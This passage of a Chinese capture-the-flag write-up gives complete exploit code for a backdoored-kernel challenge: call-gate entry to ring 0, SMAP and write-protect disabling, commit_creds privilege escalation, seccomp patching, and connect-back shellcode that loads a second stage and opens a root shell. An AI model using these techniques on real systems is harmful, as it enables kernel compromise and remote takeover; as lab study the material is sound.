  desc.entry_number = LDT_ENTRIES - 1;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));

  syscall(SYS_write, fd, (void *)0xdeadbeef, 0xdeadbeef);

  far_ptr_t call_gate = {.offset = 0xdeadbeef,
                         .selector = TARGET_ENTRY_SELECTOR};
  __asm__ __volatile__("call fword ptr %0" : : "m"(call_gate));

  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  syscall(SYS_execve, argv[0], argv, envp);
  syscall(SYS_exit, 0);
}

这里需要让 ring0 函数在 0xc00000 的位置, 使用了 __attribute__((aligned(0x1000))) 让他对齐到页, 然后编译的时候用 -Ttext 来调整地址. 写了个 Makefile (以后也能用):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
filename = exp
fsname = initramfs
CFLAGS = -fno-pic -fno-pie -no-pie -nostdlib -Wl,--build-id=none -masm=intel -O2
LDFLAGS =

ENTRY ?= main
LDFLAGS += -e $(ENTRY)

ifdef TEXTADDR
	LDFLAGS += -Ttext $(TEXTADDR)
endif

.PHONY: all build rebuild debug cpio clean

all: build cpio

build: $(filename)

rebuild: clean build

debug: CFLAGS += -g -DDEBUG
debug: rebuild cpio

$(filename): $(filename).c
	gcc $(CFLAGS) -o $@ $^ $(LDFLAGS)

cpio:
	cp $(filename) $(fsname)
	pushd $(fsname) > /dev/null; \
	find . | cpio -o -H newc > ../$(fsname).cpio; \
	popd > /dev/null
	gzip -f $(fsname).cpio

run:
	./run.sh

clean:
	rm -f $(filename)
	rm -f $(fsname).cpio.gz

由于这题把 flag 藏起来了, 必须得要获得 root shell 才可以获得 flag. 所以在内核态中还需要关闭 seccomp.

内核从陷入系统调用到处理 seccomp 的函数调用链为 entry_SYSCALL_64 $\rightarrow$ do_syscall_64 $\rightarrow$ syscall_enter_from_user_mode $\rightarrow$ syscall_enter_from_user_mode_work $\rightarrow$ syscall_trace_enter $\rightarrow$ __secure_computing, 一些关键部分如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static __always_inline long syscall_enter_from_user_mode_work(struct pt_regs *regs, long syscall)
{
	unsigned long work = READ_ONCE(current_thread_info()->syscall_work);

	if (work & SYSCALL_WORK_ENTER)
		syscall = syscall_trace_enter(regs, syscall, work);

	return syscall;
}

long syscall_trace_enter(struct pt_regs *regs, long syscall,
				unsigned long work)
{
	long ret = 0;
	// ...
	/* Do seccomp after ptrace, to catch any tracer changes. */
	if (work & SYSCALL_WORK_SECCOMP) {
		ret = __secure_computing(NULL);
		if (ret == -1L)
			return ret;
	}
	// ...
}

可以看到, 只要修改掉 current.thread_info.syscall_work 的字段, 就可以绕过 seccomp.

接下来就涉及到如何找偏移了. current 存储在 gs 寄存器的某个偏移位置, 但是这个偏移是编译之后才能确定的, 所以要从 vmlinux 里逆向找. current 的对应字段也可以找使用了这个字段的函数, 看这个函数逆出来的代码找字段的偏移. 比如这里需要 thread_info syscall_work, 而 thread_infotask_struct 的第一个字段. 在 kallsyms 里找到 do_syscall_64 的地址 (因为后面都是 inline, 没有符号), 去 ida 或者 gdb 中查看伪 c 语言或汇编. 比如 ida 的如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void __fastcall sub_FFFFFFFF81C4B430(__int64 a1, unsigned int a2)
{
  unsigned __int64 v2; // r12
  void *v3; // rsp
  unsigned int v4; // r13d
  unsigned int v5; // eax

  v2 = (int)a2;
  v3 = alloca(((__readgsdword(0x1A000u) & 0x3FF) + 15) & 0x7F8);
  v4 = a2;
  off_FFFFFFFF82C33080();
  if ( (*(_QWORD *)(__readgsqword(0x34940u) + 8) & 0x3F) != 0 )
  {
    sub_FFFFFFFF8118DCA0(a1); // syscall_trace_enter
    // ...
  }
  // ...
}

这里的 sub_FFFFFFFF8118DCA0 函数去 kallsyms 找一下, 就是 syscall_trace_enter, 那么这个 if 就应该是 if (work & SYSCALL_WORK_ENTER) 了, 于是就找到了 0x34940 是 currentgs 的偏移, 而 + 8 则是 syscall_work 对 task_struct 的偏移, 看源码可以验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
	/*
	 * For reasons of header soup (see current_thread_info()), this
	 * must be the first element of task_struct.
	 */
	struct thread_info		thread_info;
#endif
	unsigned int			__state;
	// ...
};

struct thread_info {
	unsigned long		flags;		/* low level flags */
	unsigned long		syscall_work;	/* SYSCALL_WORK_ flags */
	u32			status;		/* thread synchronous flags */
#ifdef CONFIG_SMP
	u32			cpu;		/* current CPU */
#endif
};

最后反弹 shell 执行一些命令的时候, 会用到 fork, 而 fork 出的子进程会根据 current.seccomp.mode 去设置子进程的 task_struct.thread_info.syscall_workSYSCALL_WORK_SECCOMP, 调用链为 kernel_clone $\rightarrow$ copy_process $\rightarrow$ copy_seccomp $\rightarrow$ copy_seccomp, 函数关键部分如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#define set_task_syscall_work(t, fl) \
	set_bit(SYSCALL_WORK_BIT_##fl, &task_thread_info(t)->syscall_work)
static void copy_seccomp(struct task_struct *p)
{
  // ...
	/*
	 * If the parent gained a seccomp mode after copying thread
	 * flags and between before we held the sighand lock, we have
	 * to manually enable the seccomp thread flag here.
	 */
	if (p->seccomp.mode != SECCOMP_MODE_DISABLED)
		set_task_syscall_work(p, SECCOMP);
	// ...
}

看注释是解决竞争的问题所以需要根据 seccomp.mode 重新设置一下. 那如果同时把 seccomp.mode 改成 SECCOMP_MODE_DISABLED, 子进程的 thread_info.syscall_work 就没有 SYSCALL_WORK_SECCOMP 标志了.

同样找引用了 seccomp.mode 的地方看偏移, 不知道为什么没有 copy_seccomp 符号, 这里用 __secure_computing 函数来找:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __secure_computing(const struct seccomp_data *sd)
{
	int mode = current->seccomp.mode;
	int this_syscall;

	if (IS_ENABLED(CONFIG_CHECKPOINT_RESTORE) &&
	    unlikely(current->ptrace & PT_SUSPEND_SECCOMP))
		return 0;

	this_syscall = sd ? sd->nr :
		syscall_get_nr(current, current_pt_regs());

	switch (mode) {
	case SECCOMP_MODE_STRICT:
		__secure_computing_strict(this_syscall);  /* may call do_exit */
		return 0;
	case SECCOMP_MODE_FILTER:
		return __seccomp_filter(this_syscall, sd, false);
	/* Surviving SECCOMP_RET_KILL_* must be proactively impossible. */
	case SECCOMP_MODE_DEAD:
		WARN_ON_ONCE(1);
		do_exit(SIGKILL);
		return -1;
	default:
		BUG();
	}
}

ida 伪 c 语言如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall sub_FFFFFFFF81201860(int *a1)
{
  unsigned __int64 v1; // rdx
  _BYTE *v2; // rsi
  int v3; // eax
  __int64 v4; // rdi
  _DWORD *v5; // rax

  sub_FFFFFFFF8108A650();
  v1 = __readgsqword(0x34940u);
  v2 = a1;
  v3 = *(_DWORD *)(v1 + 3176);
  if ( (*(_BYTE *)(v1 + 51) & 1) != 0 )
    goto LABEL_21;
  if ( a1 )
    v4 = *a1;
  else
    v4 = *(int *)(*(_QWORD *)(v1 + 32) + 16336LL);
  if ( v3 != 2 )
  {
    if ( v3 == 3 )
      BUG();
    if ( v3 != 1 )
      BUG();
    v5 = &unk_FFFFFFFF82027440;
    if ( (*(_BYTE *)(v1 + 16) & 2) == 0 && (*(_BYTE *)(*(_QWORD *)(v1 + 32) + 16339LL) & 0x40) == 0 )
      v5 = &unk_FFFFFFFF82027650;
    while ( (_DWORD)v4 != *v5 )
    {
      if ( *++v5 == -1 )
      {
        *(_DWORD *)(v1 + 3176) = 3;
        if ( (dword_FFFFFFFF82D3A2D8 & 2) != 0 )
        {
          v2 = (_BYTE *)(&qword_8 + 1);
          sub_FFFFFFFF811F5BA0(v4, 9LL, 0LL);
        }
        sub_FFFFFFFF810C4C60(9LL, v2);
      }
    }
LABEL_21:
    JUMPOUT(0xFFFFFFFF81C69560LL);
  }
  sub_FFFFFFFF812007C0(v4, v2);
}

可以推测 v3 就是 mode, 那么 3176 就是 seccomp.modecurrent 的偏移了.


或者其实可以修改代码 (设置 cr0 的 WP 位), 直接把 call __secure_computing 这条路给 nop 掉. 内核代码共享, 子进程自然也进不去 seccomp 了. 测试了确实可以.

关闭了 seccomp 后, 用 dup2 复制一下 sockfd (0) 到 1 和 2, 然后 execve sh 即可获得 root shell

exp.py:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3

from pwn import *
from pwnlib.util.iters import *
import rzpipe

elf = ELF("i_am_not_backdoor.bin")

context.binary = elf.path
context.terminal = 'footclient'

io = remote('localhost', 22222) if args.REMOTE else \
     gdb.debug([elf.path], 'b *0x401d05\nc') if args.GDB else \
     process([elf.path], stdin=PTY)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recvn(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda n    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
uu32 = lambda x   : u32(x.ljust(4, b'\0'))
uu64 = lambda x   : u64(x.ljust(8, b'\0'))
p32s = lambda *xs : flat([p32(x) for x in xs])
p64s = lambda *xs : flat([p64(x) for x in xs])

prompt      = b'\n'
prompt_menu = prompt

op   = lambda x : sla(prompt_menu, n2b(x))
snap = lambda n : sna(prompt, n)
sap  = lambda s : sa(prompt, s)
slap = lambda s : sla(prompt, s)

def leakaddr(pre = None, suf = None, num = None, keepsuf = True):
    if num is None:
        num = 6 if context.bits == 64 else 4
    if pre is not None:
        ru(pre)
    if suf is not None:
        r = ru(suf)
        if keepsuf:
            r += suf
        r = r[-num:]
    else:
        r = rv(num)
    u = uu64 if context.bits == 64 else uu32
    return u(r)

def tty_escape(s, lnext=b'\x16', dangerous=bytes(bytearray(range(0x20)))):
    if args.REMOTE:
        s = s.replace(lnext, lnext * 2)
        for b in bytearray(dangerous):
            if b in lnext:
                continue
            b = bytearray([b])
            s = s.replace(b, lnext + b)
    return s

pop_rsi_ret = 0x0047713b
pop_rdx_ret = 0x004018e4
pop_rax_ret = 0x00462514
and_rdi_rax_ret = 0x004018ee
mov_rdi_rax_ret = 0x004018de
mov_rax_rbx_pop_rbx_ret = 0x004770ad
jmp_rsp = 0x004018f4

rz_exp = rzpipe.open('exp')
secs = {s['name']: {'vaddr': s['vaddr'], 'size': s['size']} for s in rz_exp.cmdj('iSj') if s['name']}
rz_exp.quit()

# shellcraft.connect('38.207.168.131', 8888) + \
shellcode = \
    shellcraft.connect('10.0.2.2', 8888) + \
    shellcraft.mmap(secs['.text']['vaddr'], 0x2000, 7, 0x22, -1, 0) + \
    shellcraft.read(0, secs['.text']['vaddr'], secs['.text']['size']) + \
    shellcraft.mmap(secs['.rodata']['vaddr'], 0x1000, 7, 0x22, -1, 0) + \
    shellcraft.read(0, secs['.rodata']['vaddr'], secs['.rodata']['size'])
shellcode += f'''
    mov rax, {ELF('exp').sym.main}
    jmp rax
'''

payload_2 = asm(shellcode)
print(hex(len(payload_2)))

sa(b'220 (vsFTPd 2.3.4)', tty_escape(payload_2[0x80:]) + b'\x04')
sa(b'331 Please specify the password.', tty_escape(payload_2[:0x80]) + b'\x04')

payload = p64s(
    1,
    mov_rax_rbx_pop_rbx_ret, 0,
    mov_rdi_rax_ret,
    pop_rax_ret, 0xfffffffffffff000,
    and_rdi_rax_ret,
    pop_rsi_ret, 0x1000,
    pop_rdx_ret, 7,
    elf.sym.mprotect,
    jmp_rsp,
)

short_shellcode = f'''
    sub rsp, {0x100 + len(payload)}
    jmp rsp
'''

payload += asm(short_shellcode)
print(hex(len(payload)))

sa('530 Login incorrect.', tty_escape(payload) + b'\x04')
ia()

server.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwnlib.tubes.listen import listen
import rzpipe

s = listen(8888)
s.wait_for_connection()

rz_exp = rzpipe.open('exp')
secs = {s['name']: {'vaddr': s['vaddr'], 'size': s['size']} for s in rz_exp.cmdj('iSj') if s['name']}

for sec in ['.text', '.rodata']:
    code = bytes(rz_exp.cmdj(f"pxj {secs[sec]['size']} @ section.{sec}"))
    print(code)
    s.send(code)

rz_exp.quit()
s.interactive()

exp.c:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include "pwn.h"

#define __KERNEL_CS 0x10
#define TARGET_ENTRY 0xc
#define TARGET_ENTRY_SELECTOR (TARGET_ENTRY << 3 | 0b111)

#define CR0_BIT_WP 16
#define CR4_BIT_SMAP 21
#define CR3_BIT_PT 12
#define MSR_LSTAR_ADDR 0xC0000082

#define NOKASLR_ENTRY_SYSCALL_64 0xffffffff81e00080
#define NOKASLR_ENTRY_TRAMPOLINE 0xffffffff81e00000
#define NOKASLR_INIT_CRED 0xffffffff82c517c0
#define NOKASLR_COMMIT_CREDS 0xffffffff810fc820
#define RING0_STAGE2_TRAMPOLINE_OFFSET 0x10000
#define NOKASLR_JNZ_CALL__SECURE_COMPUTING 0xffffffff8118dcc6

#define CURRENT_OFFSET 0x34940
#define SYSCALL_WORK_OFFSET 8
#define SYSCALL_WORK_BIT_SECCOMP 0
#define SECCOMP_MODE_OFFSET 0xC68
#define SECCOMP_MODE_DISABLED	0

typedef struct {
  uint32_t offset;
  uint16_t selector;
} __attribute__((packed)) far_ptr_t;

static inline void cli() { __asm__ __volatile__("cli\n"); }
static inline void sti() { __asm__ __volatile__("sti\n"); }
static inline void disable_wp() {
  uint64_t cr0 = 0;
  __asm__ __volatile__("mov %0, cr0" : "=r"(cr0));
  cr0 &= ~(1 << CR0_BIT_WP);
  __asm__ __volatile__("mov cr0, %0" : : "r"(cr0));
}

static inline uint64_t rdmsr(uint32_t msr) {
  uint32_t lo, hi;
  __asm__ __volatile__("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
  return ((uint64_t)hi << 32) | lo;
}

static inline void swapgs() { __asm__ __volatile__("swapgs\n"); }

static inline void disable_smap() {
  uint64_t cr4 = 0;
  __asm__ __volatile__("mov %0, cr4" : "=r"(cr4));
  cr4 &= ~(1 << CR4_BIT_SMAP);
  __asm__ __volatile__("mov cr4, %0" : : "r"(cr4));
}

static inline void switch_page_table() {
  uint64_t cr3 = 0;
  __asm__ __volatile__("mov %0, cr3" : "=r"(cr3));
  cr3 ^= 1 << CR3_BIT_PT;
  __asm__ __volatile__("mov cr3, %0" : : "r"(cr3));
}

static inline size_t get_current() {
  size_t current = -1;
  __asm__ __volatile__("mov %0, gs:[%1]" : "=r"(current) : "i"(CURRENT_OFFSET));
  return current;
}

static inline void disable_seccomp(size_t offset) {
  /* size_t current = get_current(); */
  /* unsigned long *syscall_work = (unsigned long *)(current + SYSCALL_WORK_OFFSET); */
  /* *syscall_work &= ~(1 << SYSCALL_WORK_BIT_SECCOMP); */
  /* int *seccomp_mode = (int *)(current + SECCOMP_MODE_OFFSET); */
  /* *seccomp_mode = SECCOMP_MODE_DISABLED; */
  int16_t *call__secure_computing = (int16_t *)(NOKASLR_JNZ_CALL__SECURE_COMPUTING + offset);
  *call__secure_computing = 0x9090;
}

static inline void escalate_privileges(size_t offset) {
  size_t init_cred = NOKASLR_INIT_CRED + offset;
  int (*commit_creds)(size_t) = (void *)NOKASLR_COMMIT_CREDS + offset;
  commit_creds(init_cred);
}

void ring0_stage2(size_t offset) __attribute__((section(".rodata")));
void ring0_stage2_end() __attribute__((section(".rodata")));
void ring0_stage2(size_t offset) {
  swapgs();
  switch_page_table();
  escalate_privileges(offset);
  disable_seccomp(offset);
  swapgs();
  switch_page_table();
}
void ring0_stage2_end() {}

void ring0() __attribute__((aligned(0x1000)));
void ring0() {
  cli();
  disable_wp();
  disable_smap();

  size_t entry_SYSCALL_64 = rdmsr(MSR_LSTAR_ADDR);
  size_t offset = entry_SYSCALL_64 - NOKASLR_ENTRY_SYSCALL_64;
  void (*ring0_stage2_trampoline)(size_t) = (void *)NOKASLR_ENTRY_TRAMPOLINE +
                                            RING0_STAGE2_TRAMPOLINE_OFFSET +
                                            offset;
  char *dst = (char *)ring0_stage2_trampoline;

  for (char *cur = (char *)&ring0_stage2; cur < (char *)&ring0_stage2_end;)
    *dst++ = *cur++;

  ring0_stage2_trampoline(offset);
  sti();
  __asm__ __volatile__("add rsp, 8\n"
                       "retfq\n");
}

int main() {
  int fd = syscall(SYS_open, "/dev/i_am_definitely_not_backdoor", O_RDWR);

  struct user_desc desc = {0};
  desc.entry_number = 0xc;
  desc.base_addr = __KERNEL_CS;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));
  desc.base_addr = 0;
  desc.entry_number = LDT_ENTRIES - 1;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));

  syscall(SYS_write, fd, (void *)0xdeadbeef, 0xdeadbeef);

  far_ptr_t call_gate = {.offset = 0xdeadbeef,
                         .selector = TARGET_ENTRY_SELECTOR};
  __asm__ __volatile__("call fword ptr %0" : : "m"(call_gate));

  syscall(SYS_dup2, 0, 1);
  syscall(SYS_dup2, 0, 2);
  
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  syscall(SYS_execve, argv[0], argv, envp);
}